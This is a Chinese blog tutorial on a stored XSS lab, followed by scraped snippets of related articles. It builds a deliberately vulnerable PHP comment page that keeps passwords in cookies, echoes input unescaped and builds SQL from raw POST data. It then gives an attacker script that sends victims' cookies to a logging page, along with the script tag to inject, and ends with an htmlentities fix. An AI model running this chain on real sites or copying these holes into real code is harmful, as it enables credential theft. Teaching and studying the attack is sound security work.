简单XSS跨站脚本攻击实验

原理:恶意Web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。

大概流程是,建立一个用于发表评论的网页,然后XSS攻击者通过XSS漏洞进行攻击获取其他访问该网页的用户的cookie信息并记录到攻击者设定的文件中。

首先,我们得先配置好PHP的运行环境,这个网上有一大堆资料和软件可以下载,我这里安装的是wampserver,同时为了方便操作安装了MySQL workbench。

接着,搭建数据库,用于储存用户的评论

create database test;
use test;
create table comments
  (
    id int(16) AUTO_INCREMENT,
    uname  varchar(1600),
    ucomment varchar(2000),
    primary key(id)
  );

用户登录界面login.php:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>登录</title>
<style type="text/css">
    #login{text-align:center;margin-top:100px;}
</style>
</head>
<?php
    if(isset($_POST[‘submit‘])){
        //设置cookie
        setcookie("username", $_POST["username"],time()+3600*24);
        setcookie("password", $_POST["password"],time()+3600*24);
        echo "<meta http-equiv=refresh content=‘0;url=home.php‘>";//跳转到home.php
    }
?>
<body>
 <div id="login">
    <form method="post">
    <p>用户名:    <input type="text" name="username" ></p>
    <p>&nbsp;&nbsp;密码: <input type="text" name="password"></p>
    <button type="submit" name="submit"  style="width:60px;height:30px;">登录</button>
    </form>
 </div>
</body>
</html>

用户评论界面home.php:

<html>
<head>
    </head>
    <style type="text/css">
        .comment-title{
            font-size:14px;
            margin: 6px 0px 2px 4px;
        }
        .comment-body{
            font-size: 14px;
            color:#ccc;
            font-style: italic;
            border-bottom: 1px #ccc;
            margin: 4px;
        }
    </style>
<body>
    <form method="post" action="list.php">
        <div style="margin:20px;">
            <div style="font-size:16px;font-weight:bold;">发表评论</div>
            <div style="padding:6px;">
               昵称:
                <br/>
                <input name="name" type="text" style="width:300px;"/>
            </div>
            <div style="padding:6px;">
                评论:
                <br/>
                <textarea name="comment" style="height:100px; width:300px;"></textarea>
            </div>
            <div style="padding-left:230px;">
                <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
            </div>
            <div style="border-bottom:solid 1px #fff;margin-top:10px;">
                <div style="font-size:16px;font-weight:bold;">评论集</div>
            </div>
          <?php
            try {
                    $dbh = new PDO(‘mysql:dbname=test;host=127.0.0.1‘,‘root‘, ‘123456‘);//连接数据库
                    $dbh->query(‘set names gbk‘);
                    $sql="SELECT uname,ucomment FROM comments";
                    foreach ($dbh->query($sql) as $row) //通过循环读取数据内容
                    {
                        if($row[‘uname‘]!=null){
                        ?><span>-------------------------------------------------------</span><br/>
                         <span name="name" style="font-size:15px;color:blue;"><?php echo $row[‘uname‘];?></span><br/>
                         <span name="comment" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                            <?php  echo $row[‘ucomment‘];?></span><br/>
                        <?php
                        }
                    }
                } catch (PDOException $e) {
                    echo ‘Connection failed: ‘ . $e->getMessage();
                }
          ?>
        </div>
    </form>
</body>
</html>

提交评论至数据库中list.php:

<?php
    $link = mysql_connect(‘localhost‘,‘root‘,‘123456‘); //连接数据库
    mysql_query(‘set names gbk‘);
    if (!$link) {
        die(‘Could not connect to MySQL: ‘ . mysql_error());
    }
    echo ‘Connection OK‘;
    $name = $_POST["name"];
    $comment = $_POST["comment"];
    mysql_select_db(‘test‘,$link);
    $query="insert into comments(uname,ucomment) values (‘{$name}‘,‘{$comment}‘);";
      if (!mysql_query($query,$link))
    {
     die(‘Error: ‘ . mysql_error());
    }
     $result=mysql_query("SELECT uname,ucomment FROM comments");
     while($row=mysql_fetch_array($result))//通过循环展示数据内容
     {
        echo $row["uname"] . "<br/>";
        echo $row["ucomment"] . "<br/>";
     }
     mysql_close($link); //关闭数据库连接
     echo "<meta http-equiv=refresh content=‘0;url=home.php‘>";//返回home.php
?>

攻击者所用的脚本攻击hack.js:

var username = getCookie(‘username‘);
var password = getCookie(‘password‘);
var script = document.createElement(‘script‘);
script.src = ‘http://localhost/test/index.php?username=‘ + username + ‘&password=‘ + password; //保存数据的页面的位置
document.body.appendChild(script);

function getCookie(name)
{
    var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
    if(arr=document.cookie.match(reg))
    return unescape(arr[2]);
    return null;
}

hack.js传送数据到index.php

<?php
    if(!empty($_GET[‘password‘])){
        $username=$_GET[‘username‘];
        $password=$_GET[‘password‘];

        try{
            $path=$_SERVER["DOCUMENT_ROOT"].‘/password.txt‘;
            $fp=fopen($path,‘a‘);
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\t $password\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){
        }
    }
?>

然后攻击者先登录该评论页面,然后发表包含如下语句的评论:

<script type="text/javascript" src="http://localhost/test/hack.js"></script>

则当其他用户浏览该评论页面时,这段恶意脚本就会执行,从而执行hack.js的代码将用户的cookie发送给index.php从而被保存到攻击者的文件中。

如何防止这种攻击呢?

上述XSS攻击的核心是利用了脚本注入,对用户的输入没有做出检查,信赖用户输入,因此如果我们不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题。更简单一点说,不要直接echo输出,换成用PHP的htmlentities函数将所有的评论不是以嵌入HTML的形式,而是以纯文本直接展示在页面中,这样无论如何都可以确保不会修改到HTML的DOM元素,而导致恶意代码的嵌入。

修改后的代码如下:

<html>
<head>
    </head>
    <style type="text/css">
        .comment-title{
            font-size:14px;
            margin: 6px 0px 2px 4px;
        }
        .comment-body{
            font-size: 14px;
            color:#ccc;
            font-style: italic;
            border-bottom: 1px #ccc;
            margin: 4px;
        }
    </style>
<?php
    function ReplaceScript(&$txt)
    {
      $str="‘ <script[^>]*?>.*?</script>‘si ";
      print $txt=preg_replace("$str","",$txt);
    }
?>
<body>
    <form method="post" action="list.php">
        <div style="margin:20px;">
            <div style="font-size:16px;font-weight:bold;">发表评论</div>
            <div style="padding:6px;">
               昵称:
                <br/>
                <input name="name" type="text" style="width:300px;"/>
            </div>
            <div style="padding:6px;">
                评论:
                <br/>
                <textarea name="comment" style="height:100px; width:300px;"></textarea>
            </div>
            <div style="padding-left:230px;">
                <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
            </div>
            <div style="border-bottom:solid 1px #fff;margin-top:10px;">
                <div style="font-size:16px;font-weight:bold;">评论集</div>
            </div>
          <?php
            try {
                    $dbh = new PDO(‘mysql:dbname=test;host=127.0.0.1‘,‘root‘, ‘123456‘);
                    $dbh->query(‘set names gbk‘);
                    $sql="SELECT uname,ucomment FROM comments";
                    foreach ($dbh->query($sql) as $row) //通过循环读取数据内容
                    {
                        if($row[‘uname‘]!=null){
                        ?><span>-------------------------------------------------------</span><br/>
                         <span name="name" style="font-size:15px;color:blue;"><?php echo htmlentities($row[‘uname‘],ENT_QUOTES,"GB2312");?></span><br/>
                         <span name="comment" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                            <?php  $new = htmlentities($row[‘ucomment‘],ENT_QUOTES,"GB2312");echo $new;?></span><br/>
                        <?php
                        }
                    }
                } catch (PDOException $e) {
                    echo ‘Connection failed: ‘ . $e->getMessage();
                }
          ?>
        </div>
    </form>
</body>
</html>
时间: 2024-10-18 16:23:15

简单XSS跨站脚本攻击实验的相关文章

XSS跨站脚本攻击实验

XSS攻击的原理.方法.常用技巧, 相关防范措施 跨站脚本攻击(Cross Site Scripting,XSS) 漏洞在Web应用中很常见.攻击者可以通过XSS注入恶意代码(一般指为js程序)至受害者的浏览器,进而窃取受害者认证信息. XSS注入有很多实现方式,可将XSS攻击大致分为存储型XSS.反射型XSS和DOM型XSS. 1)存储型XSS 存储型XSS攻击流程如下: (1) 黑客在目标服务器(正常服务器)上构造XSS恶意脚本,并将其保存在数据库中: (2) 用户登录目标服务器,查看了存在

XSS跨站脚本攻击

[XSS跨站脚本攻击] 1.在Get请求的值中插入代码. $name = $_GET['name']; echo "Welcome $name<br>"; 2.输入框中输入代码. 参考: 1.http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

PHP漏洞全解(四)-xss跨站脚本攻击

本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站.攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇 请求.修改口令和下载非法的内容等请求. XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 跨站脚本主要

初窥XSS跨站脚本攻击

XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS

JAVA覆写Request过滤XSS跨站脚本攻击

注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. 尤其是有富文本编辑器的产品.xss可能出现在http的head,不说别的,新浪多次出现. xss可以出现在post数据的正文.图片的url. 于是各种Xss横行,如今Xss跨站脚本漏洞的流行程度甚至超过了当年的sql. 那么对于JAVA语言,如何防御呢. 笔者分享一个思路:所有的web项目,所有的

python全栈系列之---xss跨站脚本攻击和csrf(xsrf)攻击

xss跨站脚本攻击:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的. 例如:某些论坛允许用户自由发言,而不对用户的输入数据进行检测,直接显示在页面中. 若是用户输入了某些css样式代码,html表格代码,显示在页面后会改变页面的布局. 若是输入某些js代码,用于获取其他用户的文件,或者修改本地文件,也可以发送用户cookie等信息到自己的计算机中模拟用户登录 一般可以通过函数处理htmlspecial

Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)

书接上文,继续对Fortify漏洞进行总结,本篇主要针对XSS跨站脚步攻击漏洞进行总结如下: 1.Cross-Site Scripting(XSS 跨站脚本攻击) 1.1.产生原因: 1. 数据通过一个不可信赖的数据源进入 Web 应用程序.对于 Reflected XSS(反射型),不可信赖的源通常为 Web 请求,只影响攻击到当前操作用户:而对于 Persisted(也称为 Stored 持久型)XSS,该源通常为数据库或其他后端数据存储,可能影响多操作用户. 2. 未检验包含在动态内容中的

xss跨站脚本攻击剖析与防御-读书笔记

<?php /* 1.什么是xss?           xss中文名字<跨站脚本>主要是因为web程序对输入输出过滤不足导致的.           攻击者利用xss漏洞把恶意脚本代码(HTML+Javascript)注入到网页中,           当用户浏览这些网页时,就会执行恶意代码,对受害者进行攻击,例如           盗取Cookie,会话劫持,钓鱼欺骗等各种攻击. 2.xss的危害        Cookie盗取                只要有记住密码功能,盗

XSS 跨站脚本攻击 的防御解决方案

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS. 这里我们分上下文来形成一个防御的解决方案,虽然说在某些特殊情况下依然可能会产生XSS,但是如果严格按照此解决方案则能避免大部分XSS攻击. 原则:宁死也不让数据变成可执行的代码,不信任任何用户的数据,严格区分数据和代码. XSS 的攻击原理这里不再阐述,详情请移步 WIKI百科 或 百度百科. 既然是将数据给注入到代码里面